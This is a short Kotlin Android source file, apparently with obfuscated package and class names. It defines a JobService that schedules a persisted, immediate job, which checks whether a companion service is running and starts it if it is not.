package pxds.iqiv.ioih.gxph.rrax

import android.app.ActivityManager
import android.app.job.JobInfo
import android.app.job.JobParameters
import android.app.job.JobScheduler
import android.app.job.JobService
import android.content.ComponentName
import android.content.Context
import android.content.Intent
import android.os.Build
import pxds.iqiv.ioih.gxph.Dngu

class Gnup : JobService() {

    private var isServiceRunning = false

    private fun isServiceRunning(intent: Intent): Boolean {
        val manager: ActivityManager = getSystemService(ACTIVITY_SERVICE) as ActivityManager
        val infos: List<ActivityManager.RunningServiceInfo> = manager.getRunningServices(Int.MAX_VALUE)
        for (info in infos) {
            if (info.service.className == intent.component?.className) {
                return true
            }
        }
        return false
    }

    companion object {
        private const val JOB_ID = 123

        fun Context.initJob() {
            val jobScheduler = getSystemService(Context.JOB_SCHEDULER_SERVICE) as JobScheduler
            val job = JobInfo.Builder(0, ComponentName(this, Gnup::class.java))
                .setMinimumLatency(0L)
                .setOverrideDeadline(0L)
                .setPersisted(true)
                .build()
            jobScheduler.schedule(job)
        }

    }

    override fun onStopJob(params: JobParameters): Boolean {
        return false
    }

    override fun onStartJob(params: JobParameters): Boolean {
        if (!isServiceRunning) {

            val intent = Intent(this, Dngu::class.java)

            isServiceRunning = if (isServiceRunning(intent)) {
                true
            } else {

                if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
                    startForegroundService(intent)
                } else {
                    startService(intent)
                }

                true
            }
        }

        jobFinished(params, false)
        return false
    }
}